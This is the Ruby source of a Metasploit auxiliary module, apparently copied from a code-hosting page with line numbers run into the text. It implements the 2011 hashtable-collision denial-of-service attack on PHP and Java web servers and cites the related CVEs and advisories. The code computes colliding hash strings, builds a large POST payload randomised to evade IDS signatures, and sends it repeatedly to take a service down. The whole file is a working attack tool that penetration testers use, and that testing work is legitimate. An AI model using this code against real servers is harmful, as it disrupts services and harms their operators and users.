Path: blob/master/modules/auxiliary/dos/http/hashcollision_dos.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Hashtable Collisions',14'Description' => %q{15This module uses a denial-of-service (DoS) condition appearing in a variety of16programming languages. This vulnerability occurs when storing multiple values17in a hash table and all values have the same hash value. This can cause a web server18parsing the POST parameters issued with a request into a hash table to consume19hours of CPU with a single HTTP request.2021Currently, only the hash functions for PHP and Java are implemented.22This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.23It also generates a random payload to bypass some IDS signatures.24},25'Author' => [26'Alexander Klink', # advisory27'Julian Waelde', # advisory28'Scott A. Crosby', # original advisory29'Dan S. Wallach', # original advisory30'Krzysztof Kotowicz', # payload generator31'Christian Mehlmauer' # metasploit module32],33'License' => MSF_LICENSE,34'References' => [35['URL', 'http://ocert.org/advisories/ocert-2011-003.html'],36['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'],37['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],38['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],39['URL', 'https://www.youtube.com/watch?v=R2Cq3CLI6H8'],40['CVE', '2011-5034'],41['CVE', '2011-5035'],42['CVE', '2011-4885'],43['CVE', '2011-4858']44],45'DisclosureDate' => '2011-12-28',46'Notes' => {47'Stability' => [CRASH_SERVICE_DOWN],48'SideEffects' => [],49'Reliability' => []50}51)52)5354register_options(55[56OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP', 'Java']]),57OptString.new('URL', [ true, 'The request URI', '/' ]),58OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50 ])59]60)6162register_advanced_options(63[64OptInt.new('RecursiveMax', [false, 'Maximum recursions when searching for collisionchars', 15]),65OptInt.new('MaxPayloadSize', [false, 'Maximum size of the Payload in Megabyte. Autoadjust if 0', 0]),66OptInt.new('CollisionChars', [false, 'Number of colliding chars to find', 5]),67OptInt.new('CollisionCharLength', [false, 'Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)', 2]),68OptInt.new('PayloadLength', [false, 'Length of each parameter in the payload', 8])69]70)71end7273def generate_payload74# Taken from:75# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision7677@recursive_counter = 178collision_chars = compute_collision_chars79return nil if collision_chars.nil?8081length = datastore['PayloadLength']82size = collision_chars.length83post = ''84max_value_float = size**length85max_value_int = max_value_float.floor86print_status("#{rhost}:#{rport} - Generating POST data...")87for i in 0.upto(max_value_int)88input_string = i.to_s(size)89result = input_string.rjust(length, '0')90collision_chars.each do |key, value|91result = result.gsub(key, value)92end93post << "#{Rex::Text.uri_encode(result)}=&"94end95return post96end9798def compute_collision_chars99print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1100hashes = {}101counter = 0102length = datastore['CollisionCharLength']103a = []104for i in @char_range105a << i.chr106end107# Generate all possible strings108source = a109for _ in Range.new(1, length - 1)110source = source.product(a)111end112source = source.map(&:join)113# and pick a random one114base_str = source.sample115base_hash = @function.call(base_str)116hashes[counter.to_s] = base_str117counter += 1118for item in source119if item == base_str120next121end122123if @function.call(item) == base_hash124# Hooray we found a matching hash125hashes[counter.to_s] = item126counter += 1127end128if counter >= datastore['CollisionChars']129break130end131end132if counter < datastore['CollisionChars']133# Try it again134if @recursive_counter > datastore['RecursiveMax']135print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")136return nil137end138print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")139@recursive_counter += 1140hashes = compute_collision_chars141else142print_status("#{rhost}:#{rport} - Found values:")143hashes.each_value do |item|144print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")145item.each_char do |c|146print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack('C')}")147end148end149end150return hashes151end152153# General hash function, Dan "djb" Bernstein times XX add154def djbxa(input_string, base, start)155counter = input_string.length - 1156result = start157input_string.each_char do |item|158result += ((base**counter) * item.ord)159counter -= 1160end161return result.round162end163164# PHP's hash function (djb times 33 add)165def djbx33a(input_string)166return djbxa(input_string, 33, 5381)167end168169# Java's hash function (djb times 31 add)170def djbx31a(input_string)171return djbxa(input_string, 31, 0)172end173174def run175case datastore['TARGET']176when /PHP/177@function = method(:djbx33a)178@char_range = Range.new(0, 255)179if (datastore['MaxPayloadSize'] <= 0)180datastore['MaxPayloadSize'] = 8 # XXX: Refactor181end182when /Java/183@function = method(:djbx31a)184@char_range = Range.new(0, 128)185if (datastore['MaxPayloadSize'] <= 0)186datastore['MaxPayloadSize'] = 2 # XXX: Refactor187end188else189raise "Target #{datastore['TARGET']} not supported"190end191192print_status("#{rhost}:#{rport} - Generating payload...")193payload = generate_payload194return if payload.nil?195196# trim to maximum payload size (in MB)197max_in_mb = datastore['MaxPayloadSize'] * 1024 * 1024198payload = payload[0, max_in_mb]199# remove last invalid(cut off) parameter200position = payload.rindex('=&')201payload = payload[0, position + 1]202print_status("#{rhost}:#{rport} -Payload generated")203204for x in 1..datastore['RLIMIT']205print_status("#{rhost}:#{rport} - Sending request ##{x}...")206opts = {207'method' => 'POST',208'uri' => normalize_uri(datastore['URL']),209'data' => payload210}211begin212c = connect213r = c.request_cgi(opts)214c.send_request(r)215# Don't wait for a response, can take hours216rescue ::Rex::ConnectionError => e217print_error("#{rhost}:#{rport} - Unable to connect: '#{e.message}'")218return219ensure220disconnect(c) if c221end222end223end224end225226227